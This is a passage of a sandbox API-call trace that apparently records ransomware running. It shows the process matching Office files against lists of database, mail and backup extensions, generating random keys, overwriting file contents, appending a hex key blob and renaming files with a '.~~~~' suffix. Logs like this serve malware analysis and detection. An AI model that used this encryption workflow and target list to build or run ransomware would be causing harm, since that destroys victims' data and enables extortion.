	[0144.166] lstrlenW (lpString=".sql") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".sql") returned 0x0
	[0144.166] lstrlenW (lpString=".MYD") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".MYD") returned 0x0
	[0144.166] lstrlenW (lpString=".DBT") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DBT") returned 0x0
	[0144.166] lstrlenW (lpString=".ACCDB") returned 6
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".ACCDB") returned 0x0
	[0144.166] lstrlenW (lpString=".fdb") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".fdb") returned 0x0
	[0144.166] lstrlenW (lpString=".bak") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".bak") returned 0x0
	[0144.166] lstrlenW (lpString=".myd") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".myd") returned 0x0
	[0144.166] lstrlenW (lpString=".DTXS") returned 5
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DTXS") returned 0x0
	[0144.166] lstrlenW (lpString=".ckp") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".ckp") returned 0x0
	[0144.166] lstrlenW (lpString=".dbt") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dbt") returned 0x0
	[0144.166] lstrlenW (lpString=".db") returned 3
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".db") returned 0x0
	[0144.166] lstrlenW (lpString=".TXT") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".TXT") returned 0x0
	[0144.166] lstrlenW (lpString=".MDF") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".MDF") returned 0x0
	[0144.166] lstrlenW (lpString=".bdb") returned 4
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".bdb") returned 0x0
	[0144.166] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.167] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394860) returned 1
	[0144.168] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.168] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0144.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.168] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26415833939) returned 1
	[0144.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf573eb0, dwHighDateTime=0x1d60e1e)) 
	[0144.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2860
	[0144.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2860 | out: hHeap=0x300000) returned 1
	[0144.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac710
	[0144.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bca0
	[0144.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac710 | out: hHeap=0x300000) returned 1
	[0144.169] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.169] GetLastError () returned 0x0
	[0144.169] GetLastError () returned 0x0
	[0144.169] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.169] GetLastError () returned 0x0
	[0144.170] GetLastError () returned 0x0
	[0144.170] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x21f0, lpOverlapped=0x0) returned 1
	[0144.172] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffde10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.172] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x21f0, lpOverlapped=0x0) returned 1
	[0144.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.172] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.172] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.172] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.172] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.172] CloseHandle (hObject=0x10c) returned 1
	[0144.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39b218
	[0144.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx.~~~~")) returned 1
	[0144.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b218 | out: hHeap=0x300000) returned 1
	[0144.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.176] GetLastError () returned 0x0
	[0144.176] RtlWakeConditionVariable () returned 0x0
	[0144.176] GetCurrentThreadId () returned 0x9cc
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".scr") returned 0x0
	[0144.176] lstrlenW (lpString=".cmd") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".cmd") returned 0x0
	[0144.176] lstrlenW (lpString=".dll") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dll") returned 0x0
	[0144.176] lstrlenW (lpString=".bat") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".bat") returned 0x0
	[0144.176] lstrlenW (lpString=".cpl") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".cpl") returned 0x0
	[0144.176] lstrlenW (lpString=".sys") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".sys") returned 0x0
	[0144.176] lstrlenW (lpString=".msc") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".msc") returned 0x0
	[0144.176] lstrlenW (lpString=".com") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".com") returned 0x0
	[0144.176] lstrlenW (lpString=".lnk") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".lnk") returned 0x0
	[0144.176] lstrlenW (lpString=".msp") returned 4
	[0144.176] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".msp") returned 0x0
	[0144.177] lstrlenW (lpString=".pif") returned 4
	[0144.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".pif") returned 0x0
	[0144.177] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.278] lstrlenW (lpString=".sqb") returned 4
	[0144.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".sqb") returned 0x0
	[0144.278] lstrlenW (lpString=".ost") returned 4
	[0144.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".ost") returned 0x0
	[0144.278] lstrlenW (lpString=".txt") returned 4
	[0144.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".txt") returned 0x0
	[0144.278] lstrlenW (lpString=".mdt") returned 4
	[0144.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".mdt") returned 0x0
	[0144.278] lstrlenW (lpString=".BDB") returned 4
	[0144.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".BDB") returned 0x0
	[0144.278] lstrlenW (lpString=".eql") returned 4
	[0144.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".eql") returned 0x0
	[0144.278] lstrlenW (lpString=".DBF") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DBF") returned 0x0
	[0144.279] lstrlenW (lpString=".EQL") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".EQL") returned 0x0
	[0144.279] lstrlenW (lpString=".FDB") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".FDB") returned 0x0
	[0144.279] lstrlenW (lpString=".EDB") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".EDB") returned 0x0
	[0144.279] lstrlenW (lpString=".DACPAC") returned 7
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DACPAC") returned 0x0
	[0144.279] lstrlenW (lpString=".VHD") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".VHD") returned 0x0
	[0144.279] lstrlenW (lpString=".DBV") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DBV") returned 0x0
	[0144.279] lstrlenW (lpString=".dacpac") returned 7
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dacpac") returned 0x0
	[0144.279] lstrlenW (lpString=".sdf") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".sdf") returned 0x0
	[0144.279] lstrlenW (lpString=".accdb") returned 6
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".accdb") returned 0x0
	[0144.279] lstrlenW (lpString=".DBX") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DBX") returned 0x0
	[0144.279] lstrlenW (lpString=".MDT") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".MDT") returned 0x0
	[0144.279] lstrlenW (lpString=".SQB") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".SQB") returned 0x0
	[0144.279] lstrlenW (lpString=".vhd") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".vhd") returned 0x0
	[0144.279] lstrlenW (lpString=".bac") returned 4
	[0144.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".bac") returned 0x0
	[0144.280] lstrlenW (lpString=".mdf") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".mdf") returned 0x0
	[0144.280] lstrlenW (lpString=".BAK") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".BAK") returned 0x0
	[0144.280] lstrlenW (lpString=".BAC") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".BAC") returned 0x0
	[0144.280] lstrlenW (lpString=".dbs") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dbs") returned 0x0
	[0144.280] lstrlenW (lpString=".vhdx") returned 5
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".vhdx") returned 0x0
	[0144.280] lstrlenW (lpString=".NDF") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".NDF") returned 0x0
	[0144.280] lstrlenW (lpString=".dat") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dat") returned 0x0
	[0144.280] lstrlenW (lpString=".DBS") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DBS") returned 0x0
	[0144.280] lstrlenW (lpString=".CKP") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".CKP") returned 0x0
	[0144.280] lstrlenW (lpString=".edb") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".edb") returned 0x0
	[0144.280] lstrlenW (lpString=".PST") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".PST") returned 0x0
	[0144.280] lstrlenW (lpString=".dbf") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dbf") returned 0x0
	[0144.280] lstrlenW (lpString=".SQL") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".SQL") returned 0x0
	[0144.280] lstrlenW (lpString=".pst") returned 4
	[0144.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".pst") returned 0x0
	[0144.281] lstrlenW (lpString=".dbv") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dbv") returned 0x0
	[0144.281] lstrlenW (lpString=".SDF") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".SDF") returned 0x0
	[0144.281] lstrlenW (lpString=".dtxs") returned 5
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dtxs") returned 0x0
	[0144.281] lstrlenW (lpString=".db3") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".db3") returned 0x0
	[0144.281] lstrlenW (lpString=".OST") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".OST") returned 0x0
	[0144.281] lstrlenW (lpString=".dbx") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dbx") returned 0x0
	[0144.281] lstrlenW (lpString=".DB3") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DB3") returned 0x0
	[0144.281] lstrlenW (lpString=".DAT") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DAT") returned 0x0
	[0144.281] lstrlenW (lpString=".VHDX") returned 5
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".VHDX") returned 0x0
	[0144.281] lstrlenW (lpString=".ndf") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".ndf") returned 0x0
	[0144.281] lstrlenW (lpString=".DB") returned 3
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DB") returned 0x0
	[0144.281] lstrlenW (lpString=".sql") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".sql") returned 0x0
	[0144.281] lstrlenW (lpString=".MYD") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".MYD") returned 0x0
	[0144.281] lstrlenW (lpString=".DBT") returned 4
	[0144.281] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DBT") returned 0x0
	[0144.282] lstrlenW (lpString=".ACCDB") returned 6
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".ACCDB") returned 0x0
	[0144.282] lstrlenW (lpString=".fdb") returned 4
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".fdb") returned 0x0
	[0144.282] lstrlenW (lpString=".bak") returned 4
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".bak") returned 0x0
	[0144.282] lstrlenW (lpString=".myd") returned 4
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".myd") returned 0x0
	[0144.282] lstrlenW (lpString=".DTXS") returned 5
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".DTXS") returned 0x0
	[0144.282] lstrlenW (lpString=".ckp") returned 4
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".ckp") returned 0x0
	[0144.282] lstrlenW (lpString=".dbt") returned 4
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".dbt") returned 0x0
	[0144.282] lstrlenW (lpString=".db") returned 3
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".db") returned 0x0
	[0144.282] lstrlenW (lpString=".TXT") returned 4
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".TXT") returned 0x0
	[0144.282] lstrlenW (lpString=".MDF") returned 4
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".MDF") returned 0x0
	[0144.282] lstrlenW (lpString=".bdb") returned 4
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".bdb") returned 0x0
	[0144.282] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.283] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0144.284] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.284] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.284] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26427424731) returned 1
	[0144.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf67e850, dwHighDateTime=0x1d60e1e)) 
	[0144.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a39c8
	[0144.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a39c8 | out: hHeap=0x300000) returned 1
	[0144.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac9b0
	[0144.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
